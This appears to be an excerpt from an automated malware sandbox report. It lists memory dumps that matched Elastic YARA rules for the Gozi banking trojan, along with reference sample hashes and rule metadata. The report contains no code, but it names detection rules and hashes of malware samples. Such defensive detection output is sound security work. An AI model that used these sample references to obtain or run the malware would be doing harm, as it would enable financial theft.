      Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
